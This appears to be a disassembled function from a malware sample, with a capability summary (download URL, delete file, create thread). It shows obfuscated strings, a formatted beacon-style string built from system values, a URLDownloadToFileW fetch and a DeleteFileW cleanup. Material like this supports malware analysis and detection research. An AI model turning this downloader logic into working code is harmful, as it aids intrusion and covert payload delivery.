Function at 0x409fc0
Capabilities:
Create thread
Delete file
Download url
Parse pe header
Receive data

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5792a9
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x180
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x3c], edi
call fcn.0042ef50
mov ecx, eax
test ecx, ecx
je 0x40c28b
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x50], eax
push str.eU90jWQk9gGz0MPLAA
lea ecx, [ebp - 0x50]
mov dword [ebp - 4], 0
call fcn.0042f1c0
test al, al
jne 0x40a043
push 0x13
push str.eU90jWQk9gGz0MPLAA
lea ecx, [ebp - 0x50]
call fcn.0042f4f0
mov dword [ebp - 4], 1
call fcn.0042ef50
mov ecx, eax
test ecx, ecx
je 0x40c295
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x98], eax
push str.OEdEAWlsorKi5d7PzAv7WSsbbNV4hgISg
lea ecx, [ebp - 0x98]
mov byte [ebp - 4], 2
call fcn.0042f1c0
test al, al
jne 0x40a093
push 0x22
push str.OEdEAWlsorKi5d7PzAv7WSsbbNV4hgISg
lea ecx, [ebp - 0x98]
call fcn.0042f4f0
mov byte [ebp - 4], 3
call fcn.0042ef50
mov ecx, eax
test ecx, ecx
je 0x40c29f
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x94], eax
push str.U1NHmYyM2rNQo8LNy4AIMj8YqDDU1MIhE
lea ecx, [ebp - 0x94]
mov byte [ebp - 4], 4
call fcn.0042f1c0
test al, al
jne 0x40a0e0
push 0x22
push str.U1NHmYyM2rNQo8LNy4AIMj8YqDDU1MIhE
lea ecx, [ebp - 0x94]
call fcn.0042f4f0
mov byte [ebp - 4], 5
call fcn.0042ef50
mov ecx, eax
test ecx, ecx
je 0x40c2a9
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x9c], eax
push str.SHNMDTC4aEICkX1Fj4aJwE
lea ecx, [ebp - 0x9c]
mov byte [ebp - 4], 6
call fcn.0042f1c0
test al, al
jne 0x40a12d
push 0x18
push str.SHNMDTC4aEICkX1Fj4aJwE
lea ecx, [ebp - 0x9c]
call fcn.0042f4f0
mov byte [ebp - 4], 7
call fcn.0042ef50
mov ecx, eax
test ecx, ecx
je 0x40c2b3
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x70], eax
push str.eWVsQZxUEjHxMmqDAhaOXAE
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 8
call fcn.0042f1c0
test al, al
jne 0x40a171
push 0x18
push str.eWVsQZxUEjHxMmqDAhaOXAE
lea ecx, [ebp - 0x70]
call fcn.0042f4f0
mov byte [ebp - 4], 9
call fcn.0042ef50
mov ecx, eax
test ecx, ecx
je 0x40c2bd
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa8], eax
push str.WnV50URYULCiUOrHBQ0
lea ecx, [ebp - 0xa8]
mov byte [ebp - 4], 0xa
call fcn.0042f1c0
test al, al
jne 0x40a1be
push 0x13
push str.WnV50URYULCiUOrHBQ0
lea ecx, [ebp - 0xa8]
call fcn.0042f4f0
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x128]
push 0x18
xorps xmm0, xmm0
mov dword [ebp - 0x118], 0
push str.YnZl7ORITzF1ANIEgxaEAxo
movups xmmword [ebp - 0x128], xmm0
mov dword [ebp - 0x114], 0
call fcn.0042d590
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x188]
push 0x95
xorps xmm0, xmm0
mov dword [ebp - 0x178], 0
push str.NmNQrWk1BbMSpGGQWoh6FAw2lPFMRZcmBNiQT88UUAYieE1gFFP3gMpGHI1NXwdyhYBMHVfHhZJFykqjU0Fq0eEYGrIjNZPBzk5mVw9yAJ0tP7cile9DCcFuQQoIPlkUAcmAUWDDY8zUxFyIJ0s
movups xmmword [ebp - 0x188], xmm0
mov dword [ebp - 0x174], 0
call fcn.0042d590
mov byte [ebp - 4], 0xe
call fcn.0042ef50
mov ecx, eax
test ecx, ecx
je 0x40c2c7
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa0], eax
mov byte [ebp - 4], 0x10
call fcn.0042ef50
mov ecx, eax
test ecx, ecx
je 0x40c2d1
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa4], eax
mov byte [ebp - 4], 0x12
call fcn.0042ef50
mov ecx, eax
test ecx, ecx
je 0x40c2db
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
lea esi, [eax + 0x10]
mov dword [ebp - 0x2c], esi
mov byte [ebp - 4], 0x14
call fcn.0042ef50
mov ecx, eax
test ecx, ecx
je 0x40c2e5
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
mov dword [ebp - 0xbc], eax
add eax, 0x10
mov dword [ebp - 0x190], eax
mov byte [ebp - 4], 0x16
call fcn.0042ef50
mov ecx, eax
test ecx, ecx
je 0x40c2ef
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
mov dword [ebp - 0xb8], eax
add eax, 0x10
mov dword [ebp - 0x18c], eax
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x170]
push 0x13
xorps xmm0, xmm0
mov dword [ebp - 0x160], 0
push str.RkZ3YOCAnoWUArpKg
movups xmmword [ebp - 0x170], xmm0
mov dword [ebp - 0x15c], 0
call fcn.0042d590
sub esp, 0x18
mov byte [ebp - 4], 0x18
lea eax, [ebp - 0x170]
mov ecx, esp
push eax
call fcn.0042e950
lea ecx, [ebp - 0x44]
call fcn.00445000
mov byte [ebp - 4], 0x19
push dword [eax]
lea eax, [ebp - 0xa0]
push dword [edi + 4]
push str._ws_ws
push eax
call fcn.00421870
mov byte [ebp - 4], 0x18
add esp, 0x28
mov edx, dword [ebp - 0x44]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40a36e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push 0x13
xorps xmm0, xmm0
mov dword [ebp - 0x148], 0
push str.ekdTGNDYmWIEAz8Aw
lea ecx, [ebp - 0x158]
mov dword [ebp - 0x144], 0
movups xmmword [ebp - 0x158], xmm0
call fcn.0042d590
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x140]
push 0x13
xorps xmm0, xmm0
mov dword [ebp - 0x130], 0
push str.eXpVXYTUbsJhUtZEzgE
movups xmmword [ebp - 0x140], xmm0
mov dword [ebp - 0x12c], 0
call fcn.0042d590
push ecx
mov byte [ebp - 4], 0x1b
mov dword [ebp - 0x14], esp
mov dword [ebp - 0x44], esp
push ecx
mov edi, esp
mov dword [ebp - 0x1c], edi
mov ecx, dword [0x5cbf24]
lea ecx, [ecx - 0x10]
call fcn.0042e860
mov ecx, dword [ebp - 0x44]
add eax, 0x10
mov dword [edi], eax
call fcn.004453e0
sub esp, 0x18
mov byte [ebp - 4], 0x1c
lea eax, [ebp - 0x158]
mov ecx, esp
push eax
call fcn.0042e950
mov ecx, edi
call fcn.00445000
add esp, 0x18
mov byte [ebp - 4], 0x1b
mov edx, SysReAllocString
lea ecx, [ebp - 0x18]
call fcn.004484e0
push dword [eax]
call fcn.00555eff
mov edx, dword [ebp - 0x18]
add esp, 0xc
mov dword [ebp - 0x28], eax
add edx, 0xfffffff0
or ecx, 0xffffffff
lock xadd dword [edx + 0xc], ecx
dec ecx
test ecx, ecx
jg 0x40a456
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push ecx
mov dword [ebp - 0x14], esp
mov dword [ebp - 0x44], esp
push ecx
mov edi, esp
mov dword [ebp - 0x1c], edi
mov ecx, dword [0x5cbf24]
lea ecx, [ecx - 0x10]
call fcn.0042e860
mov ecx, dword [ebp - 0x44]
add eax, 0x10
mov dword [edi], eax
call fcn.004453e0
sub esp, 0x18
mov byte [ebp - 4], 0x1d
lea eax, [ebp - 0x140]
mov ecx, esp
push eax
call fcn.0042e950
mov ecx, edi
call fcn.00445000
add esp, 0x18
mov byte [ebp - 4], 0x1b
mov edx, SysReAllocString
lea ecx, [ebp - 0x18]
call fcn.004484e0
push dword [eax]
call fcn.00555eff
mov edx, dword [ebp - 0x18]
add esp, 0xc
mov dword [ebp - 0x44], eax
add edx, 0xfffffff0
or ecx, 0xffffffff
lock xadd dword [edx + 0xc], ecx
dec ecx
test ecx, ecx
jg 0x40a4d6
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
call fcn.0042ef50
mov ecx, eax
test ecx, ecx
je 0x40c2f9
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x6c], eax
push str.dnUzhTB4B9RzwFdTxxjEBhZSxPAZbPQDgZqB1ZjHGBpHEJRAMlbC0GqBWw6fRFtDGJAZKmVDkfGEQ4
lea ecx, [ebp - 0x6c]
mov byte [ebp - 4], 0x1e
call fcn.0042f1c0
test al, al
jne 0x40a516
push 0x4f
push str.dnUzhTB4B9RzwFdTxxjEBhZSxPAZbPQDgZqB1ZjHGBpHEJRAMlbC0GqBWw6fRFtDGJAZKmVDkfGEQ4
lea ecx, [ebp - 0x6c]
call fcn.0042f4f0
mov byte [ebp - 4], 0x1f
call fcn.0042ef50
mov ecx, eax
test ecx, ecx
je 0x40c303
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x68], eax
push str.TEdIsMmorbKUE44LiwP
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x20
call fcn.0042f1c0
test al, al
jne 0x40a55a
push 0x13
push str.TEdIsMmorbKUE44LiwP
lea ecx, [ebp - 0x68]
call fcn.0042f4f0
mov byte [ebp - 4], 0x21
call fcn.0042ef50
mov ecx, eax
test ecx, ecx
je 0x40c30d
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x88], eax
push str.RmFkAVWAN9BSYyvFQ04lI1w
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 0x22
call fcn.0042f1c0
test al, al
jne 0x40a5a7
push 0x18
push str.RmFkAVWAN9BSYyvFQ04lI1w
lea ecx, [ebp - 0x88]
call fcn.0042f4f0
mov byte [ebp - 4], 0x23
call fcn.0042ef50
mov ecx, eax
test ecx, ecx
je 0x40c317
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x74], eax
push str.aFlp1YU43wBgIJlOgEE4VQ
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 0x24
call fcn.0042f1c0
test al, al
jne 0x40a5eb
push 0x18
push str.aFlp1YU43wBgIJlOgEE4VQ
lea ecx, [ebp - 0x74]
call fcn.0042f4f0
mov byte [ebp - 4], 0x25
call fcn.0042ef50
mov ecx, eax
test ecx, ecx
je 0x40c321
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x84], eax
push str.aUVVtUU8gdOzU2AM2g
lea ecx, [ebp - 0x84]
mov byte [ebp - 4], 0x26
call fcn.0042f1c0
test al, al
jne 0x40a638
push 0x13
push str.aUVVtUU8gdOzU2AM2g
lea ecx, [ebp - 0x84]
call fcn.0042f4f0
cmp dword [ebx + 8], 0
mov byte [ebp - 4], 0x27
jne 0x40a7de
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
push ecx
mov edi, esp
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x14], edi
mov ecx, dword [ebp - 0x74]
add ecx, 0xfffffff0
mov dword [ebp - 0x18], edx
call fcn.0042e860
add eax, 0x10
lea ecx, [ebp - 0x54]
mov dword [edi], eax
call fcn.004453e0
mov ecx, dword [ebp - 0x3c]
mov byte [ebp - 4], 0x28
mov eax, dword [eax]
mov dword [ebp - 0x48], eax
mov eax, dword [ecx + 8]
mov dword [ebp - 0x14], edi
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0x4c], eax
lea ecx, [ecx - 0x10]
call fcn.0042e860
add eax, 0x10
lea ecx, [ebp - 0x58]
mov dword [edi], eax
call fcn.004453e0
mov byte [ebp - 4], 0x29
mov eax, dword [eax]
mov dword [ebp - 0x14], edi
mov ecx, dword [ebp - 0x88]
mov dword [ebp - 0xac], eax
lea ecx, [ecx - 0x10]
call fcn.0042e860
add eax, 0x10
lea ecx, [ebp - 0x8c]
mov dword [edi], eax
call fcn.004453e0
mov byte [ebp - 4], 0x2a
mov eax, dword [eax]
mov dword [ebp - 0x14], edi
mov ecx, dword [ebp - 0x68]
mov dword [ebp - 0x78], eax
lea ecx, [ecx - 0x10]
call fcn.0042e860
add eax, 0x10
lea ecx, [ebp - 0x5c]
mov dword [edi], eax
call fcn.004453e0
mov ecx, dword [ebp - 0x3c]
mov byte [ebp - 4], 0x2b
mov eax, dword [eax]
mov dword [ebp - 0x7c], eax
mov eax, dword [ecx]
mov dword [ebp - 0x14], edi
mov ecx, dword [ebp - 0x6c]
mov dword [ebp - 0x80], eax
lea ecx, [ecx - 0x10]
call fcn.0042e860
add eax, 0x10
lea ecx, [ebp - 0xb0]
mov dword [edi], eax
call fcn.004453e0
add esp, 4
mov byte [ebp - 4], 0x2c
push dword [ebp - 0x18]
push dword [ebp - 0x30]
push dword [ebp - 0x48]
push dword [ebp - 0x4c]
push dword [ebp - 0xac]
push dword [ebp - 0x44]
push dword [ebp - 0x78]
push dword [ebp - 0x28]
push dword [ebp - 0x7c]
push dword [ebp - 0x80]
push dword [eax]
lea eax, [ebp - 0xa4]
push str._ws_ws_ws_d_ws_d_ws_ws_ws_llu
push eax
call fcn.00421870
mov edx, dword [ebp - 0xb0]
or edi, 0xffffffff
add esp, 0x34
add edx, 0xfffffff0
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40a77e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x5c]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40a798
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x8c]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40a7b5
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x58]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40a7cf
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x27
mov edx, dword [ebp - 0x54]
add edx, 0xfffffff0
jmp 0x40aa1b
call fcn.0042ef50
mov ecx, eax
test ecx, ecx
je 0x40c32b
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x18], eax
push str.WUx6xb38qhFR06XKUc
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 0x2d
call fcn.0042f1c0
test al, al
jne 0x40a81e
push 0x13
push str.WUx6xb38qhFR06XKUc
lea ecx, [ebp - 0x18]
call fcn.0042f4f0
push ecx
mov byte [ebp - 4], 0x2e
mov edi, esp
mov dword [ebp - 0x14], edi
mov eax, dword [ebp - 0x18]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x14], eax
call fcn.0042e860
add eax, 0x10
lea ecx, [ebp - 0x1c]
mov dword [edi], eax
call fcn.004453e0
add esp, 4
mov byte [ebp - 4], 0x2f
mov eax, dword [eax]
mov dword [ebp - 0x54], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
push ecx
mov edi, esp
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x5c], edi
mov ecx, dword [ebp - 0x74]
add ecx, 0xfffffff0
mov dword [ebp - 0x58], edx
call fcn.0042e860
add eax, 0x10
lea ecx, [ebp - 0x24]
mov dword [edi], eax
call fcn.004453e0
mov ecx, dword [ebp - 0x3c]
mov byte [ebp - 4], 0x30
mov eax, dword [eax]
mov dword [ebp - 0x5c], eax
mov eax, dword [ecx + 8]
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x80], edi
lea ecx, [ecx - 0x10]
call fcn.0042e860
add eax, 0x10
lea ecx, [ebp - 0x40]
mov dword [edi], eax
call fcn.004453e0
mov byte [ebp - 4], 0x31
mov ecx, dword [ebp - 0x88]
mov eax, dword [eax]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edi
lea ecx, [ecx - 0x10]
call fcn.0042e860
add eax, 0x10
lea ecx, [ebp - 0x4c]
mov dword [edi], eax
call fcn.004453e0
mov byte [ebp - 4], 0x32
mov ecx, dword [ebp - 0x68]
mov eax, dword [eax]
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x78], edi
lea ecx, [ecx - 0x10]
call fcn.0042e860
add eax, 0x10
lea ecx, [ebp - 0x48]
mov dword [edi], eax
call fcn.004453e0
mov ecx, dword [ebp - 0x3c]
mov byte [ebp - 4], 0x33
mov eax, dword [eax]
mov dword [ebp - 0x78], eax
mov eax, dword [ecx]
mov dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x6c]
mov dword [ebp - 0xac], eax
lea ecx, [ecx - 0x10]
call fcn.0042e860
add eax, 0x10
lea ecx, [ebp - 0x30]
mov dword [edi], eax
call fcn.004453e0
add esp, 4
push dword [ebx + 8]
mov byte [ebp - 4], 0x34
push dword [ebp - 0x54]
push dword [ebp - 0x58]
push dword [ebp - 0x8c]
push dword [ebp - 0x5c]
push dword [ebp - 0xb0]
push dword [ebp - 0x80]
push dword [ebp - 0x44]
push dword [ebp - 0x7c]
push dword [ebp - 0x28]
push dword [ebp - 0x78]
push dword [ebp - 0xac]
push dword [eax]
lea eax, [ebp - 0xa4]
push str._ws_ws_ws_d_ws_d_ws_ws_ws_llu_ws_lu
push eax
call fcn.00421870
mov edx, dword [ebp - 0x30]
or edi, 0xffffffff
add esp, 0x3c
add edx, 0xfffffff0
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40a992
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x48]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40a9ac
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x4c]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40a9c6
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x40]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40a9e0
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x24]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40a9fa
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x1c]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40aa14
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x27
mov edx, dword [ebp - 0x14]
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40aa2f
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edi, dword [ebp - 0xa0]
push 0
push 0
push edi
push dword [ebp - 0xa4]
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
push 0x591380
push edi
call fcn.005560f5
add esp, 8
mov dword [ebp - 0x4c], eax
test eax, eax
je 0x40bdc4
mov edx, eax
lea ecx, [ebp - 0x24]
call fcn.00448890
mov byte [ebp - 4], 0x35
lea ecx, [esi - 0x10]
mov edi, dword [eax]
mov dword [ebp - 0x14], ecx
lea edx, [edi - 0x10]
cmp edx, ecx
je 0x40aace
mov eax, dword [ecx + 0xc]
lea esi, [ecx + 0xc]
shr eax, 0x1f
test al, al
jne 0x40aabf
mov eax, dword [edx]
cmp eax, dword [ecx]
jne 0x40aabf
mov ecx, edx
call fcn.0042e860
or edi, 0xffffffff
mov dword [ebp - 0x1c], eax
mov ecx, edi
lock xadd dword [esi], ecx
dec ecx
test ecx, ecx
jg 0x40aab7
mov esi, dword [ebp - 0x14]
push esi
mov ecx, dword [esi]
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, dword [ebp - 0x1c]
lea esi, [eax + 0x10]
mov dword [ebp - 0x2c], esi
jmp 0x40aad1
push dword [edx + 4]
lea ecx, [ebp - 0x2c]
push edi
call fcn.0042f4f0
mov esi, dword [ebp - 0x2c]
or edi, 0xffffffff
mov edx, dword [ebp - 0x24]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40aaeb
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, 0x59667c
mov eax, esi
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40ab18
test dx, dx
je 0x40ab14
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40ab18
add eax, 4
add ecx, 4
test dx, dx
jne 0x40aaf2
xor eax, eax
jmp 0x40ab1d
sbb eax, eax
or eax, 1
mov byte [ebp - 4], 0x27
test eax, eax
jne 0x40ac39
mov edx, dword [ebp - 0x4c]
lea ecx, [ebp - 0x40]
call fcn.00448890
mov edx, dword [ebp - 0x3c]
mov byte [ebp - 4], 0x37
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
add eax, 0xfffffff0
mov ecx, dword [edx + 0x48]
sub ecx, 0x10
mov dword [ebp - 0x1c], ecx
cmp eax, ecx
je 0x40abad
lea eax, [ecx + 0xc]
mov dword [ebp - 0x14], eax
mov eax, dword [eax]
shr eax, 0x1f
test al, al
jne 0x40ab9e
mov eax, dword [ebp - 0x20]
mov eax, dword [eax - 0x10]
cmp eax, dword [ecx]
jne 0x40ab9e
mov ecx, dword [ebp - 0x20]
lea ecx, [ecx - 0x10]
call fcn.0042e860
mov edx, dword [ebp - 0x14]
mov ecx, edi
mov dword [ebp - 0x24], eax
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x40ab93
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [eax]
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x3c]
add eax, 0x10
mov dword [ecx + 0x48], eax
jmp 0x40abad
mov ecx, dword [ebp - 0x20]
push dword [ecx - 0xc]
push ecx
lea ecx, [edx + 0x48]
call fcn.0042f4f0
mov edx, dword [ebp - 0x40]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40abc7
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edi, dword [ebp - 0x3c]
mov ecx, 0x59667c
mov eax, dword [edi + 0x48]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40abf8
test dx, dx
je 0x40abf4
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40abf8
add eax, 4
add ecx, 4
test dx, dx
jne 0x40abd2
xor eax, eax
jmp 0x40abfd
sbb eax, eax
or eax, 1
mov byte [ebp - 4], 0x27
test eax, eax
jne 0x40ac1a
mov eax, edi
lea ecx, [edi + 0x48]
push 0
push 0x59678c
mov byte [eax + 0x1a], 0
call fcn.0042f4f0
mov edi, dword [ebp - 0x50]
push dword [ebp - 0x4c]
call fcn.005563f3
add esp, 4
push dword [ebp - 0xa0]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x40bf7c
mov ecx, 0x591384
mov eax, esi
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40ac66
test dx, dx
je 0x40ac62
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40ac66
add eax, 4
add ecx, 4
test dx, dx
jne 0x40ac40
xor eax, eax
jmp 0x40ac6b
sbb eax, eax
or eax, 1
mov byte [ebp - 4], 0x27
test eax, eax
jne 0x40b4c4
call fcn.0042ef50
mov ecx, eax
test ecx, ecx
je 0x40c335
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x18], eax
push 0x59678c
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 0x3a
call fcn.0042f1c0
test al, al
jne 0x40acb7
push 0
push 0x59678c
lea ecx, [ebp - 0x18]
call fcn.0042f4f0
mov byte [ebp - 4], 0x3b
call fcn.0042ef50
mov ecx, eax
test ecx, ecx
je 0x40c33f
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x28], eax
push 0x59678c
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x3c
call fcn.0042f1c0
test al, al
jne 0x40acfb
push 0
push 0x59678c
lea ecx, [ebp - 0x28]
call fcn.0042f4f0
mov byte [ebp - 4], 0x3d
call fcn.0042ef50
mov ecx, eax
test ecx, ecx
je 0x40c349
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x30], eax
push 0x59678c
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0x3e
call fcn.0042f1c0
test al, al
jne 0x40ad3f
push 0
push 0x59678c
lea ecx, [ebp - 0x30]
call fcn.0042f4f0
push ecx
mov byte [ebp - 4], 0x3f
mov edi, esp
mov dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x98]
lea ecx, [ecx - 0x10]
call fcn.0042e860
add eax, 0x10
lea ecx, [ebp - 0x24]
mov dword [edi], eax
call fcn.004453e0
mov dword [ebp - 0x14], eax
mov byte [ebp - 4], 0x40
mov dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x50]
add ecx, 0xfffffff0
call fcn.0042e860
add eax, 0x10
lea ecx, [ebp - 0x1c]
mov dword [edi], eax
call fcn.004453e0
add esp, 4
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 0x41
mov edx, dword [ebp - 0x14]
push ecx
lea ecx, [ebp - 0x28]
push ecx
lea ecx, [ebp - 0x30]
push ecx
mov ecx, eax
call fcn.0045ae10
mov edx, dword [ebp - 0x1c]
or edi, 0xffffffff
add esp, 0xc
add edx, 0xfffffff0
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40adc3
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x24]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40addd
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x30]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40adf7
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x28]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40ae11
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x27
mov eax, edi
mov edx, dword [ebp - 0x18]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40ae2f
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push 0x18
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 0
call fcn.0054f7c4
add esp, 4
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [ebp - 0x64], eax
mov byte [ebp - 4], 0x42
push dword [ebp - 0x4c]
call fcn.00556117
add esp, 4
test eax, eax
jne 0x40b3c0
nop
mov edx, dword [ebp - 0x4c]
lea ecx, [ebp - 0x24]
call fcn.00448890
mov byte [ebp - 4], 0x43
lea ecx, [esi - 0x10]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], ecx
lea edx, [eax - 0x10]
cmp edx, ecx
je 0x40aee0
mov eax, dword [ecx + 0xc]
lea esi, [ecx + 0xc]
shr eax, 0x1f
test al, al
jne 0x40aecf
mov eax, dword [edx]
cmp eax, dword [ecx]
jne 0x40aecf
mov ecx, edx
call fcn.0042e860
mov dword [ebp - 0x1c], eax
mov ecx, edi
lock xadd dword [esi], ecx
dec ecx
test ecx, ecx
jg 0x40aec7
mov esi, dword [ebp - 0x14]
push esi
mov ecx, dword [esi]
mov edx, dword [ecx]
call dword [edx + 4]
